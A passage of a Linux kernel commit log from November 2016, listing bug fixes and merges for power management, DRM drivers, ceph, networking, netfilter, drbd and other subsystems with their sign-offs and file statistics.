Signed-off-by: Thomas Tai Reviewed-by: Chris Hyser Reviewed-by: Liam Merwick Signed-off-by: David S. Miller arch/sparc/mm/init_64.c | 65 ++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 61 insertions(+), 4 deletions(-) commit 6f75c3fd56daf547d684127a7f83c283c3c160d1 Author: Brian Norris Date: Wed Nov 9 17:21:08 2016 -0800 PM / sleep: don't suspend parent when async child suspend_{noirq, late} fails Consider two devices, A and B, where B is a child of A, and B utilizes asynchronous suspend (it does not matter whether A is sync or async). If B fails to suspend_noirq() or suspend_late(), or is interrupted by a wakeup (pm_wakeup_pending()), then it aborts and sets the async_error variable. However, device A does not (immediately) check the async_error variable; it may continue to run its own suspend_noirq()/suspend_late() callback. This is bad. We can resolve this problem by doing our error and wakeup checking (particularly, for the async_error flag) after waiting for children to suspend, instead of before. This also helps align the logic for the noirq and late suspend cases with the logic in __device_suspend(). It's easy to observe this erroneous behavior by, for example, forcing a device to sleep a bit in its suspend_noirq() (to ensure the parent is waiting for the child to complete), then return an error, and watch the parent suspend_noirq() still get called. (Or similarly, fake a wakeup event at the right (or is it wrong?) time.) Fixes: de377b397272 (PM / sleep: Asynchronous threads for suspend_late) Fixes: 28b6fd6e3779 (PM / sleep: Asynchronous threads for suspend_noirq) Reported-by: Jeffy Chen Signed-off-by: Brian Norris Signed-off-by: Rafael J. Wysocki drivers/base/power/main.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 76af753bf8d11c40cc4950cc32d9cc3aee852b25 Merge: 24399f4 3d6f371 Author: Dave Airlie Date: Fri Nov 11 10:00:39 2016 +1000 Merge branch 'fixes-for-v4.9-rc5' of http://git.agner.ch/git/linux-drm-fsl-dcu into drm-fixes Yet another small batch of fixes. Two of the patches I had prepared since quite some time, but they did not seem to affect operation in a visible manner so far. Until recently, when I discovered the third issue (disable planes before disabling CRTC), which made the two previous fixes necessary. * 'fixes-for-v4.9-rc5' of http://git.agner.ch/git/linux-drm-fsl-dcu: drm/fsl-dcu: disable planes before disabling CRTC drm/fsl-dcu: update all registers on flush drm/fsl-dcu: do not update when modifying irq registers commit e519e7774784f3fa7728657d780863805ed1c983 Author: Al Viro Date: Thu Nov 10 18:32:13 2016 -0500 splice: remove detritus from generic_file_splice_read() i_size check is a leftover from the horrors that used to play with the page cache in that function. With the switch to ->read_iter(), it's neither needed nor correct - for gfs2 it ends up being buggy, since i_size is not guaranteed to be correct until later (inside ->read_iter()). Spotted-by: Abhi Das Signed-off-by: Al Viro fs/splice.c | 5 ----- 1 file changed, 5 deletions(-) commit 24399f4f0b95522e01e212537d26880227787670 Merge: b71752a 5ced937 Author: Dave Airlie Date: Fri Nov 11 09:09:57 2016 +1000 Merge tag 'imx-drm-fixes-2016-11-10' of git://git.pengutronix.de/git/pza/linux into drm-fixes imx-drm: fix possible hangup when disabling crtcs - only ever disable the display controller (DC) module after all plane IDMAC channels are stopped. This fixes a regression introduced by the atomic modeset conversion. * tag 'imx-drm-fixes-2016-11-10' of git://git.pengutronix.de/git/pza/linux: drm/imx: disable planes before DC commit b71752af4d9e15e0a0b13ac7482f401b3b48547b Merge: e5581fe 954e6be Author: Dave Airlie Date: Fri Nov 11 08:58:57 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes Regression fix for powerplay on some iceland boards. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/amd/powerplay: implement get_clock_by_type for iceland. drm/amd/powerplay/smu7: fix checks in smu7_get_evv_voltages (v2) drm/amd/powerplay: update phm_get_voltage_evv_on_sclk for iceland drm/amd/powerplay: propagate errors in phm_get_voltage_evv_on_sclk commit e5581fe2b4f40e54bfea9a1eee1bc487da52e98c Author: Dave Airlie Date: Tue Nov 8 16:38:00 2016 +1000 drm/udl: make control msg static const. (v2) Thou shall not send control msg from the stack, does that mean I can send it from the RO memory area? and it looks like the answer is no, so here's v2 which kmemdups. Reported-by: poma Tested-by: poma Signed-off-by: Dave Airlie drivers/gpu/drm/udl/udl_main.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit bc79c9851a76d76f269d9ef5150e180825650b67 Author: Keith Busch Date: Thu Nov 10 16:10:44 2016 -0500 PCI: VMD: Update filename to reflect move Updating MAINTAINERS to reflect the new location of the VMD driver. Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f10a59eb8c1087f0ce03cf0392cd483922187066 Author: Peter Rosin Date: Thu Nov 10 15:03:21 2016 +0100 i2c: Documentation: i2c-topology: fix minor whitespace nit Signed-off-by: Peter Rosin Signed-off-by: Wolfram Sang Documentation/i2c/i2c-topology | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d052db11c153cfb469f13a4121966f30ecb57c66 Author: Wolfram Sang Date: Sun Nov 6 21:20:32 2016 +0100 i2c: mux: demux-pinctrl: make drivers with no pinctrl work again Some drivers like i2c-gpio do not have dedicated pinctrl states. They broke when error checking for pinctrl was added. Detect them now, and in their case, simply skip over pinctrl configuration. Signed-off-by: Wolfram Sang Signed-off-by: Wolfram Sang drivers/i2c/muxes/i2c-demux-pinctrl.c | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) commit 264048afab27d7c27eedf5394714e0b396d787f7 Author: Ilya Dryomov Date: Tue Nov 8 15:15:24 2016 +0100 libceph: initialize last_linger_id with a large integer osdc->last_linger_id is a counter for lreq->linger_id, which is used for watch cookies. Starting with a large integer should ease the task of telling apart kernel and userspace clients. Signed-off-by: Ilya Dryomov include/linux/ceph/osd_client.h | 2 ++ net/ceph/osd_client.c | 1 + 2 files changed, 3 insertions(+) commit 3890dce1d3a8b9fe3bc36de99496792e468cd079 Author: Yan, Zheng Date: Wed Nov 9 16:42:48 2016 +0800 libceph: fix legacy layout decode with pool 0 If your data pool was pool 0, ceph_file_layout_from_legacy() transform that to -1 unconditionally, which broke upgrades. We only want do that for a fully zeroed ceph_file_layout, so that it still maps to a file_layout_t. If any fields are set, though, we trust the fl_pgpool to be a valid pool. Fixes: 7627151ea30bc ("libceph: define new ceph_file_layout structure") Link: http://tracker.ceph.com/issues/17825 Signed-off-by: Yan, Zheng Signed-off-by: Ilya Dryomov net/ceph/ceph_fs.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8a8d56176635515d607c520580c73d61f300b409 Author: Yan, Zheng Date: Wed Nov 9 16:47:54 2016 +0800 ceph: use default file splice read callback Splice read/write implementation changed recently. When using generic_file_splice_read(), iov_iter with type == ITER_PIPE is passed to filesystem's read_iter callback. But ceph_sync_read() can't serve ITER_PIPE iov_iter correctly (ITER_PIPE iov_iter expects pages from page cache). Fixing ceph_sync_read() requires a big patch. So use default splice read callback for now. Signed-off-by: Yan, Zheng Signed-off-by: Ilya Dryomov fs/ceph/file.c | 1 - 1 file changed, 1 deletion(-) commit 954e6bee03fea509a85aea4cbf45307fe4e3b43e Author: Rex Zhu Date: Thu Nov 10 14:07:34 2016 +0800 drm/amd/powerplay: implement get_clock_by_type for iceland. iceland use pptable v0. bugs: https://bugzilla.kernel.org/show_bug.cgi?id=185681 https://bugs.freedesktop.org/show_bug.cgi?id=98357 Reviewed-by: Alex Deucher Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 51 +++++++++++++++--------- 1 file changed, 33 insertions(+), 18 deletions(-) commit 8a57646d28540b2a536f168df63b1b043b1d3386 Merge: 49ce5b5 5e5ec17 Author: James Bottomley Date: Thu Nov 10 10:22:23 2016 -0800 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit 23dd8315485acae0acf4452509e2be9fc587d72c Merge: 2ce0af8 0e3715c Author: David S. Miller Date: Thu Nov 10 13:02:25 2016 -0500 Merge branch 'mlxsw-fixes' Jiri Pirko says: ==================== mlxsw: Couple of router fixes v1->v2: - patch2: - use net_eq ==================== Signed-off-by: David S. Miller commit 0e3715c9c250747280b1757ea267c577e7591e31 Author: Jiri Pirko Date: Thu Nov 10 12:31:05 2016 +0100 mlxsw: spectrum_router: Ignore FIB notification events for non-init namespaces Since now, the table with same id in multiple netnamespaces were squashed to a single virtual router. That is not only incorrect, it also causes error messages when trying to use RALUE register to do double remove of FIB entries, like this one: mlxsw_spectrum 0000:03:00.0: EMAD reg access failed (tid=facb831c00007b20,reg_id=8013(ralue),type=write,status=7(bad parameter)) Since we don't allow ports to change namespaces (NETIF_F_NETNS_LOCAL), and the infrastructure is not yet prepared to handle netnamespaces, just ignore FIB notification events for non-init namespaces. That is clear to do since we don't need to offload them. Fixes: b45f64d16d45 ("mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls") Signed-off-by: Jiri Pirko Acked-by: Ido Schimmel Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 3 +++ 1 file changed, 3 insertions(+) commit 33b1341cd1bf5c89e7ef332aa8ac3ed614a3d942 Author: Jiri Pirko Date: Thu Nov 10 12:31:04 2016 +0100 mlxsw: spectrum_router: Fix handling of neighbour structure __neigh_create function works in a different way than assumed. It passes "n" as a parameter to ndo_neigh_construct. But this "n" might be destroyed right away before __neigh_create() returns in case there is already another neighbour struct in the hashtable with the same dev and primary key. That is not expected by mlxsw_sp_router_neigh_construct() and the stored "n" points to freed memory, eventually leading to crash. Fix this by doing tight 1:1 coupling between neighbour struct and internal driver neigh_entry. That allows to narrow down the key in internal driver hashtable to do lookups by "n" only. Fixes: 6cf3c971dc84 ("mlxsw: spectrum_router: Add private neigh table") Signed-off-by: Jiri Pirko Acked-by: Ido Schimmel Signed-off-by: David S. Miller .../net/ethernet/mellanox/mlxsw/spectrum_router.c | 95 ++++++++-------------- 1 file changed, 34 insertions(+), 61 deletions(-) commit 2ce0af8fd0a6c2938e49630a0fdf3257464576e3 Merge: 0ace81e 5c5f260 Author: David S. Miller Date: Thu Nov 10 12:55:26 2016 -0500 Merge branch 'qed-fixes' Yuval Mintz says: ==================== qed: Fix RoCE infrastructure This series fixes 2 basic issues with RoCE support, one handles a missing configuration in the initial infrastructure support while the other is a regression introduced by one of the initial fix submissions. ==================== Signed-off-by: David S. Miller commit 5c5f26090840951b4102d9a1e6db9aac41101e5a Author: Ram Amrani Date: Wed Nov 9 22:48:44 2016 +0200 qed: Correct rdma params configuration Previous fix has broken RoCE support as the rdma_pf_params are now being set into the parameters only after the params are alrady assigned into the hw-function. Fixes: 0189efb8f4f8 ("qed*: Fix Kconfig dependencies with INFINIBAND_QEDR") Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_main.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) commit 8d1d8fcb21cfc4a65731760c3100920f929e8f3d Author: Ram Amrani Date: Wed Nov 9 22:48:43 2016 +0200 qed: configure ll2 RoCE v1/v2 flavor correctly Currently RoCE v2 won't operate with RDMA CM due to missing setting of the roce-flavour in the ll2 configuration. This patch properly sets the flavour, and deletes incorrect HSI that doesn't [yet] exist. Fixes: abd49676c707 ("qed: Add RoCE ll2 & GSI support") Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_hsi.h | 3 --- drivers/net/ethernet/qlogic/qed/qed_ll2.c | 1 + 2 files changed, 1 insertion(+), 3 deletions(-) commit 4d3222f7071c01104b43300f1c10b55723df8f68 Author: Shawn Lin Date: Thu Nov 10 11:14:46 2016 -0600 arm64: dts: rockchip: add three new resets for rk3399 PCIe controller pm_rst, aclk_rst and pclk_rst should be controlled by driver, so we need to add these three resets for PCIe controller. Signed-off-by: Shawn Lin Signed-off-by: Bjorn Helgaas Acked-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 31a3a7b5b26f75fbe82de10ca99f2b673f6c26b4 Author: Shawn Lin Date: Thu Nov 10 11:14:37 2016 -0600 PCI: rockchip: Add three new resets as required properties pm_rst, aclk_rst, pclk_rst was controlled by ROM code so the software wasn't needed to control it again in theory. But it didn't work properly, so we do need to do it again and add enough delay between the assert of pm_rst and the deassert of pm_rst. The Soc intergrated with this controller, rk3399, is still under MP test internally, so the backward compatibility won't be a big deal. Signed-off-by: Shawn Lin Signed-off-by: Bjorn Helgaas Reviewed-by: Heiko Stuebner Acked-by: Rob Herring .../devicetree/bindings/pci/rockchip-pcie.txt | 11 ++-- drivers/pci/host/pcie-rockchip.c | 62 ++++++++++++++++++++++ 2 files changed, 70 insertions(+), 3 deletions(-) commit 0ace81ec7192201af48528c309ee0b4103021f55 Author: Lance Richardson Date: Wed Nov 9 15:04:39 2016 -0500 ipv4: update comment to document GSO fragmentation cases. This is a follow-up to commit 9ee6c5dc816a ("ipv4: allow local fragmentation in ip_finish_output_gso()"), updating the comment documenting cases in which fragmentation is needed for egress GSO packets. Suggested-by: Shmulik Ladkani Reviewed-by: Shmulik Ladkani Signed-off-by: Lance Richardson Signed-off-by: David S. Miller net/ipv4/ip_output.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 0f12f73c5175d39445fa10cdca4481f80efdef49 Author: Alex Deucher Date: Wed Nov 9 17:52:42 2016 -0500 drm/amd/powerplay/smu7: fix checks in smu7_get_evv_voltages (v2) Only check if the tables exist in relevant configs. This fixes a failure on V0 tables. v2: fix version check as suggested by Rex bugs: https://bugzilla.kernel.org/show_bug.cgi?id=185681 https://bugs.freedesktop.org/show_bug.cgi?id=98357 Reviewed-by: Rex Zhu Reviewed-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 90ebf11857c2743fab1b2b64140aff24e256e758 Author: Alex Deucher Date: Wed Nov 9 18:04:54 2016 -0500 drm/amd/powerplay: update phm_get_voltage_evv_on_sclk for iceland Was missing the handling for iceland. bugs: https://bugzilla.kernel.org/show_bug.cgi?id=185681 https://bugs.freedesktop.org/show_bug.cgi?id=98357 Reviewed-by: Rex Zhu Reviewed-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 0a866d38ef3c13cf5834b78df21ee4c39bb5a689 Author: Alex Deucher Date: Wed Nov 9 18:01:01 2016 -0500 drm/amd/powerplay: propagate errors in phm_get_voltage_evv_on_sclk Missing for one case. bugs: https://bugzilla.kernel.org/show_bug.cgi?id=185681 https://bugs.freedesktop.org/show_bug.cgi?id=98357 Reviewed-by: Rex Zhu Reviewed-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62bdf94a2049822ef8c6d4b0e83cd9c3a1663ab4 Author: Chuck Lever Date: Mon Nov 7 16:16:24 2016 -0500 xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect When a LOCALINV WR is flushed, the frmr is marked STALE, then frwr_op_unmap_sync DMA-unmaps the frmr's SGL. These STALE frmrs are then recovered when frwr_op_map hunts for an INVALID frmr to use. All other cases that need frmr recovery leave that SGL DMA-mapped. The FRMR recovery path unconditionally DMA-unmaps the frmr's SGL. To avoid DMA unmapping the SGL twice for flushed LOCAL_INV WRs, alter the recovery logic (rather than the hot frwr_op_unmap_sync path) to distinguish among these cases. This solution also takes care of the case where multiple LOCAL_INV WRs are issued for the same rpcrdma_req, some complete successfully, but some are flushed. Reported-by: Vasco Steinmetz Signed-off-by: Chuck Lever Tested-by: Vasco Steinmetz Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/frwr_ops.c | 37 ++++++++++++++++++++++--------------- net/sunrpc/xprtrdma/xprt_rdma.h | 3 ++- 2 files changed, 24 insertions(+), 16 deletions(-) commit b13d14339baaaa720e7e5448855f33ba501917aa Author: Jann Horn Date: Sun Oct 30 23:19:24 2016 +0100 ppdev: fix double-free of pp->pdev->name free_pardevice() is called by parport_unregister_device() and already frees pp->pdev->name, don't try to do it again. This bug causes kernel crashes. I found and verified this with KASAN and some added pr_emerg()s: [ 60.316568] pp_release: pp->pdev->name == ffff88039cb264c0 [ 60.316692] free_pardevice: freeing par_dev->name at ffff88039cb264c0 [ 60.316706] pp_release: kfree(ffff88039cb264c0) [ 60.316714] ========================================================== [ 60.316722] BUG: Double free or freeing an invalid pointer [ 60.316731] Unexpected shadow byte: 0xFB [ 60.316801] Object at ffff88039cb264c0, in cache kmalloc-32 size: 32 [ 60.316813] Allocated: [ 60.316824] PID = 1695 [ 60.316869] Freed: [ 60.316880] PID = 1695 [ 60.316935] ========================================================== Signed-off-by: Jann Horn Acked-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/char/ppdev.c | 3 --- 1 file changed, 3 deletions(-) commit 18266403f3fe507f0246faa1d5432333a2f139ca Author: Johan Hovold Date: Tue Nov 8 13:10:57 2016 +0100 USB: cdc-acm: fix TIOCMIWAIT The TIOCMIWAIT implementation would return -EINVAL if any of the three supported signals were included in the mask. Instead of returning an error in case TIOCM_CTS is included, simply drop the mask check completely, which is in accordance with how other drivers implement this ioctl. Fixes: 5a6a62bdb925 ("cdc-acm: add TIOCMIWAIT") Cc: stable Signed-off-by: Johan Hovold Acked-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-acm.c | 2 -- 1 file changed, 2 deletions(-) commit 2ecb704a1290edb5e3d53a75529192e7ed2a1a28 Author: Hui Wang Date: Thu Nov 10 13:20:05 2016 +0800 ALSA: hda - add a new condition to check if it is thinkpad Latest Thinkpad laptops use the HKEY_HID LEN0268 instead of the LEN0068, as a result neither audio mute led nor mic mute led can work any more. After adding the new HKEY_HID into the is_thinkpad(), both of them works well as before. Cc: Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai sound/pci/hda/thinkpad_helper.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9b6c14d51bd2304b92f842e96172a9cc822fc77c Author: David Ahern Date: Wed Nov 9 09:07:26 2016 -0800 net: tcp response should set oif only if it is L3 master Lorenzo noted an Android unit test failed due to e0d56fdd7342: "The expectation in the test was that the RST replying to a SYN sent to a closed port should be generated with oif=0. In other words it should not prefer the interface where the SYN came in on, but instead should follow whatever the routing table says it should do." Revert the change to ip_send_unicast_reply and tcp_v6_send_response such that the oif in the flow is set to the skb_iif only if skb_iif is an L3 master. Fixes: e0d56fdd7342 ("net: l3mdev: remove redundant calls") Reported-by: Lorenzo Colitti Signed-off-by: David Ahern Tested-by: Lorenzo Colitti Acked-by: Lorenzo Colitti Signed-off-by: David S. Miller net/ipv4/ip_output.c | 3 ++- net/ipv6/tcp_ipv6.c | 8 ++++++-- 2 files changed, 8 insertions(+), 3 deletions(-) commit 8da3cf2a49a6d0ca5e620c6a5eee49b99a3f0880 Author: Allan Chou Date: Tue Nov 8 16:08:01 2016 -0600 Net Driver: Add Cypress GX3 VID=04b4 PID=3610. Add support for Cypress GX3 SuperSpeed to Gigabit Ethernet Bridge Controller (Vendor=04b4 ProdID=3610). Patch verified on x64 linux kernel 4.7.4, 4.8.6, 4.9-rc4 systems with the Kensington SD4600P USB-C Universal Dock with Power, which uses the Cypress GX3 SuperSpeed to Gigabit Ethernet Bridge Controller. A similar patch was signed-off and tested-by Allan Chou on 2015-12-01. Allan verified his similar patch on x86 Linux kernel 4.1.6 system with Cypress GX3 SuperSpeed to Gigabit Ethernet Bridge Controller. Tested-by: Allan Chou Tested-by: Chris Roth Tested-by: Artjom Simon Signed-off-by: Allan Chou Signed-off-by: Chris Roth Signed-off-by: David S. Miller drivers/net/usb/ax88179_178a.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 9fa684ec86f8b011bbad09a53cf91258e176d4c1 Merge: f567e95 58c78e1 Author: David S. Miller Date: Wed Nov 9 20:38:18 2016 -0500 Merge git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf Pablo Neira Ayuso says: ==================== Netfilter fixes for net The following patchset contains a larger than usual batch of Netfilter fixes for your net tree. This series contains a mixture of old bugs and recently introduced bugs, they are: 1) Fix a crash when using nft_dynset with nft_set_rbtree, which doesn't support the set element updates from the packet path. From Liping Zhang. 2) Fix leak when nft_expr_clone() fails, from Liping Zhang. 3) Fix a race when inserting new elements to the set hash from the packet path, also from Liping. 4) Handle segmented TCP SIP packets properly, basically avoid that the INVITE in the allow header create bogus expectations by performing stricter SIP message parsing, from Ulrich Weber. 5) nft_parse_u32_check() should return signed integer for errors, from John Linville. 6) Fix wrong allocation instead of connlabels, allocate 16 instead of 32 bytes, from Florian Westphal. 7) Fix compilation breakage when building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86, from Arnd Bergmann. 8) Destroy the new set if the transaction object cannot be allocated, also from Liping Zhang. 9) Use device to route duplicated packets via nft_dup only when set by the user, otherwise packets may not follow the right route, again from Liping. 10) Fix wrong maximum genetlink attribute definition in IPVS, from WANG Cong. 11) Ignore untracked conntrack objects from xt_connmark, from Florian Westphal. 12) Allow to use conntrack helpers that are registered NFPROTO_UNSPEC via CT target, otherwise we cannot use the h.245 helper, from Florian. 13) Revisit garbage collection heuristic in the new workqueue-based timer approach for conntrack to evict objects earlier, again from Florian. 14) Fix crash in nf_tables when inserting an element into a verdict map, from Liping Zhang. ==================== Signed-off-by: David S. Miller commit f567e950bf51290755a2539ff2aaef4c26f735d3 Author: Mathias Krause Date: Mon Nov 7 23:22:19 2016 +0100 rtnl: reset calcit fptr in rtnl_unregister() To avoid having dangling function pointers left behind, reset calcit in rtnl_unregister(), too. This is no issue so far, as only the rtnl core registers a netlink handler with a calcit hook which won't be unregistered, but may become one if new code makes use of the calcit hook. Fixes: c7ac8679bec9 ("rtnetlink: Compute and store minimum ifinfo...") Cc: Jeff Kirsher Cc: Greg Rose Signed-off-by: Mathias Krause Signed-off-by: David S. Miller net/core/rtnetlink.c | 1 + 1 file changed, 1 insertion(+) commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 Author: Richard Weinberger Date: Wed Nov 9 22:52:58 2016 +0100 drbd: Fix kernel_sendmsg() usage - potential NULL deref Don't pass a size larger than iov_len to kernel_sendmsg(). Otherwise it will cause a NULL pointer deref when kernel_sendmsg() returns with rv < size. DRBD as external module has been around in the kernel 2.4 days already. We used to be compatible to 2.4 and very early 2.6 kernels, we used to use rv = sock_sendmsg(sock, &msg, iov.iov_len); then later changed to rv = kernel_sendmsg(sock, &msg, &iov, 1, size); when we should have used rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len); tcp_sendmsg() used to totally ignore the size parameter. 57be5bd ip: convert tcp_sendmsg() to iov_iter primitives changes that, and exposes our long standing error. Even with this error exposed, to trigger the bug, we would need to have an environment (config or otherwise) causing us to not use sendpage() for larger transfers, a failing connection, and have it fail "just at the right time". Apparently that was unlikely enough for most, so this went unnoticed for years. Still, it is known to trigger at least some of these, and suspected for the others: [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546 [3] https://ubuntuforums.org/showthread.php?t=2336150 [4] http://e2.howsolveproblem.com/i/1175162/ This should go into 4.9, and into all stable branches since and including v4.0, which is the first to contain the exposing change. It is correct for all stable branches older than that as well (which contain the DRBD driver; which is 2.6.33 and up). It requires a small "conflict" resolution for v4.4 and earlier, with v4.5 we dropped the comment block immediately preceding the kernel_sendmsg(). Fixes: b411b3637fa7 ("The DRBD driver") Cc: # 2.6.33.x- Cc: viro@zeniv.linux.org.uk Cc: christoph.lechleitner@iteg.at Cc: wolfgang.glas@iteg.at Reported-by: Christoph Lechleitner Tested-by: Christoph Lechleitner Signed-off-by: Richard Weinberger [changed oneliner to be "obvious" without context; more verbose message] Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe drivers/block/drbd/drbd_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4053ab1bf98dd128344b9e67ef139f931a967ae1 Author: Arnd Bergmann Date: Mon Nov 7 22:09:07 2016 +0100 vxlan: hide unused local variable A bugfix introduced a harmless warning in v4.9-rc4: drivers/net/vxlan.c: In function 'vxlan_group_used': drivers/net/vxlan.c:947:21: error: unused variable 'sock6' [-Werror=unused-variable] This hides the variable inside of the same #ifdef that is around its user. The extraneous initialization is removed at the same time, it was accidentally introduced in the same commit. Fixes: c6fcc4fc5f8b ("vxlan: avoid using stale vxlan socket.") Signed-off-by: Arnd Bergmann Acked-by: Jiri Benc Signed-off-by: David S. Miller drivers/net/vxlan.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 6dbcd8fb5968fda3a5fba019dfb0c80c3139627b Author: John Allen Date: Mon Nov 7 14:27:28 2016 -0600 ibmvnic: Start completion queue negotiation at server-provided optimum values Use the opt_* fields to determine the starting point for negotiating the number of tx/rx completion queues with the vnic server. These contain the number of queues that the vnic server estimates that it will be able to allocate. While renegotiation may still occur, using the opt_* fields will reduce the number of times this needs to happen and will prevent driver probe timeout on systems using large numbers of ibmvnic client devices per vnic port. Signed-off-by: John Allen Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 9d1a6c4ea43e48c7880c85971c17939b56832d8a Author: David Ahern Date: Mon Nov 7 12:03:09 2016 -0800 net: icmp_route_lookup should use rt dev to determine L3 domain icmp_send is called in response to some event. The skb may not have the device set (skb->dev is NULL), but it is expected to have an rt. Update icmp_route_lookup to use the rt on the skb to determine L3 domain. Fixes: 613d09b30f8b ("net: Use VRF device index for lookups on TX") Signed-off-by: David Ahern Signed-off-by: David S. Miller net/ipv4/icmp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fd6f24d75ab07fd122c2910d343caa703f712873 Merge: cdb26d3 df63022 Author: David S. Miller Date: Wed Nov 9 18:45:36 2016 -0500 Merge branch 'qcom-emac-pause' Timur Tabi says: ==================== net: qcom/emac: ensure that pause frames are enabled The qcom emac driver experiences significant packet loss (through frame check sequence errors) if flow control is not enabled and the phy is not configured to allow pause frames to pass through it. Therefore, we need to enable flow control and force the phy to pass pause frames. ==================== Signed-off-by: David S. Miller commit df63022e182de4041b65ae22df1950d3416b577e Author: Timur Tabi Date: Mon Nov 7 10:51:41 2016 -0600 net: qcom/emac: enable flow control if requested If the PHY has been configured to allow pause frames, then the MAC should be configured to generate and/or accept those frames. Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-mac.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 3e884493448131179a5b7cae1ddca1028ffaecc8 Author: Timur Tabi Date: Mon Nov 7 10:51:40 2016 -0600 net: qcom/emac: configure the external phy to allow pause frames Pause frames are used to enable flow control. A MAC can send and receive pause frames in order to throttle traffic. However, the PHY must be configured to allow those frames to pass through. Reviewed-by: Florian Fainelli Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-mac.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 1571875beecd5de9657f73931449bda1b1329b6f Author: Heikki Krogerus Date: Thu Nov 3 16:21:26 2016 +0200 ACPI / platform: Add support for build-in properties We have a couple of drivers, acpi_apd.c and acpi_lpss.c, that need to pass extra build-in properties to the devices they create. Previously the drivers added those properties to the struct device which is member of the struct acpi_device, but that does not work. Those properties need to be assigned to the struct device of the platform device instead in order for them to become available to the drivers. To fix this, this patch changes acpi_create_platform_device function to take struct property_entry pointer as parameter. Fixes: 20a875e2e86e (serial: 8250_dw: Add quirk for APM X-Gene SoC) Signed-off-by: Heikki Krogerus Tested-by: Yazen Ghannam Tested-by: Jérôme de Bretagne Reviewed-by: Andy Shevchenko Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_apd.c | 10 ++-------- drivers/acpi/acpi_lpss.c | 10 ++-------- drivers/acpi/acpi_platform.c | 5 ++++- drivers/acpi/dptf/int340x_thermal.c | 4 ++-- drivers/acpi/scan.c | 2 +- drivers/platform/x86/intel-hid.c | 2 +- drivers/platform/x86/intel-vbtn.c | 2 +- include/linux/acpi.h | 3 ++- 8 files changed, 15 insertions(+), 23 deletions(-) commit 80513a2b9f0448eadd10ae81a42229b33ef451fb Author: Adam Ford Date: Fri Oct 21 08:34:59 2016 -0500 ARM: omap3: Add missing memory node in SOM-LV The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). commit ("766a1fe78fc3 ARM: omap3: Add missing memory node") had fixes for Torpedo and Overo boards, but this SOM-LV was missed. This should help prevent the DTC warning: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Adam Ford Signed-off-by: Tony Lindgren arch/arm/boot/dts/logicpd-som-lv.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit 24f910365e84342365a46e5c07d3ac02757c94a1 Merge: cf53223 f20024d Author: Dave Airlie Date: Thu Nov 10 08:37:52 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes 3 more amdgpu fixes. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/amd/powerplay: return false instead of -EINVAL drm/amdgpu/powerplay/smu7: fix unintialized data usage drm/amdgpu: fix crash in 